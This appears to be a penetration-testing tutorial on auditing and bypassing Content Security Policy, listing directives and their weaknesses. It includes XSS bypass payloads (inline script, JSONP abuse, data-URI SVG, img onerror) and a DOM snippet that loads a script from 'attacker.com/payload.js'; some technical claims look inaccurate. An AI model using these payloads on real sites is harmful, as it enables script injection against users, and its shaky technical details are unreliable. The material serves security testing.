Understanding and Testing for Content Security Policy (CSP)

Content Security Policy (CSP) is a critical security control used to mitigate client-side attacks such as Cross-Site Scripting (XSS) and data injection. While developers implement CSP to enforce restrictions, red teamers and penetration testers (or even Bug Bounty Hunters) must understand how to bypass weak or misconfigured policies.

This guide will focus on how to assess, bypass, and exploit CSP rather than how to implement it from a defensive perspective.

CSP is a browser-enforced security mechanism that defines which resources (scripts, styles, images, etc.) can be loaded on a page. It helps prevent malicious code execution but is not a foolproof defense — misconfigurations and overly permissive policies create attack vectors.

CSP is set via:

HTTP response headers: Content-Security-Policy: default-src 'self';Meta tags in HTML:<meta http-equiv="Content-Security-Policy" content="default-src 'self';">

From a penetration tester’s perspective, policy bypass techniques rely on misconfigurations, unsafe resource loading, or trusted third-party domains.

Understanding directives is key to identifying attack surfaces in a web application.

These dictate where different types of resources can be loaded from:

default-src: Fallback policy for all resource types.script-src: Controls JavaScript execution sources.img-src: Defines where images can be loaded from.media-src: Governs media file locations.style-src: Restricts external CSS loading.

🛑 Weakness: If script-src includes unsafe-inline or allows third-party domains (e.g., https://trustedcdn.com), attackers can inject malicious JavaScript via stored or reflected XSS.

sandbox: Restricts a page’s functionality (e.g., prevents JavaScript execution).base-uri: Prevents the <base> tag from changing navigation behavior.

🛑 Weakness: sandbox bypasses can occur when allow-scripts is enabled.

form-action: Limits form submission destinations.frame-ancestors: Prevents embedding via <iframe>.

🛑 Weakness: If form-action allows external URLs, attackers can trick users into submitting sensitive data to malicious endpoints.

upgrade-insecure-requests: Converts HTTP to HTTPS.report-uri: Logs CSP violations for debugging.

🛑 Weakness: If a site relies on report-uri, an attacker can flood logs to cause noise or DoS issues.

Use browser dev tools:

Open Chrome DevTools (F12) → Network → Check Content-Security-Policy header.Look for policy violations in the Console tab.

Try injecting payloads to bypass CSP:

<script>alert(1)</script>

If blocked, test alternative methods:

Bypass via JSONP:<script src="https://trustedcdn.com/callback.js?data=<script>alert(1)</script>"></script>Using inline event handlers:<img src=x onerror=alert(1)>Exploit allowed unsafe-inline policies:<style>@import url("javascript:alert(1)");</style>

If CSP allows external scripts, check if the domain is writable:

host trustedcdn.com

If you control the content on a permitted domain, inject JavaScript for remote code execution.

If the application runs in Report-Only mode:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report-endpoint;Inject scripts and analyze which restrictions are triggered.Use tools like CSP Evaluator to generate bypass payloads.Burp Suite CSP Auditor

🚀 1. Inline JavaScript Injection (if unsafe-inline is enabled)

<script>alert(1)</script>

🚀 2. JSONP Callback Abuse (if trusted domains serve dynamic content)

<script src="https://trustedcdn.com/callback.js?data=<script>alert(1)</script>"></script>

🚀 3. Exploiting Allowed Hosts

<script src="https://compromisedcdn.com/malware.js"></script>

🚀 4. Data URI Injection (if data: is allowed)

<img src="data:image/svg+xml,<svg onload=alert(1)>">

🚀 5. DOM-based CSP Bypass (if policy does not cover script-src properly)

var a = document.createElement('script');
a.src = 'https://attacker.com/payload.js';
document.body.appendChild(a);

CSP is a powerful defense, but it’s only as strong as its implementation. Misconfigurations like unsafe-inline, overly permissive script-src, or allowing writable third-party domains can lead to CSP bypasses. As a penetration tester, you should:

✅ Review policy headers and identify weak configurations. ✅ Test bypass techniques using inline scripts, JSONP, and allowed hosts. ✅ Leverage CSP reporting to detect unintended behaviors. ✅ Use Burp Suite, CSP Auditor, and automated tools to streamline testing.

By mastering CSP exploitation, you’ll be better prepared to identify real-world weaknesses in web applications. Happy hunting! 🔍💻

OWASP CSP Cheat SheetGoogle CSP EvaluatorMozilla MDN CSP Documentation